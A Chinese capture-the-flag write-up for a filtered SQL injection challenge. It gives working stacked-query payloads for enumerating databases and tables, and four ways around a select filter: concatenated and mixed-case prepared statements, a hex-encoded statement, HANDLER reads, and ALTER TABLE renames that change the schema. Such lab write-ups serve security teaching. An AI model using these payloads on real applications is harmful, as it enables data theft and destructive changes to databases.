原理 --四种解法
sql语句查询表结构和表名和数据库名的方法不止select这一种
预编译
sql转十六进制绕过
handler读表内容
解题过程
进入靶场,提交查询。

字符型注入看是'还是" 最终发现'有空白错误界面,说明是'

接着按常规进行order by猜解。最终确定列项为2

使用联合查询,发现对增删改查和where的关键字过滤了,不能双写或大写绕过

那可以使用报错注入,但是报错注入不能用select也就只能这样了

试试堆叠查询吧。这里学到了查数据库和表的另外一个方式,用show
payload:1';show databases;--+ --+这个注释只适用于url地址栏输入,post请求或者html的input框内需要用#

查找表
payload:1';show tables;--+

先查1919810931114514的表结构吧
payload:1';desc `1919810931114514`;--+ 或者 1';show columns from `1919810931114514`;--+
注意,如果tableName是纯数字,需要用`包裹,有字母就不用
发现flag是在1919810931114514里面,那接下来我们就需要用select flag from 1919810931114514来查找内容了。但是select被过滤了,可以使用预编译绕过

解法一
原理部分
set @x=concat('se','lect',' flag from `1919810931114514`');
prepare hack from @x;
execute hack;
但是发现有匹配set和prepare,可以使用大写绕过

payload:1';Set @x=concat('se','lect',' flag from `1919810931114514`');Prepare hack from @x;execute hack;--+
或者payload:Prepare hack from concat('se','lect',' flag from `1919810931114514`');execute hack;--+
爆出flag

解法二
我们可以将sql语句用十六进制表示

payload:1';Prepare hack from 0x73656C65637420666C61672066726F6D20603139313938313039333131313435313460;execute hack;--+
解法三
可以通过修改表名和列名来实现。
我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果。
payload:1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);--+
再加一条1' or 1=1;--+获取flag 因为不知道id是多少,就用or语句将所有的都打印出来
解法四
payload:1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ NEXT;--+

预编译

修改表

handler
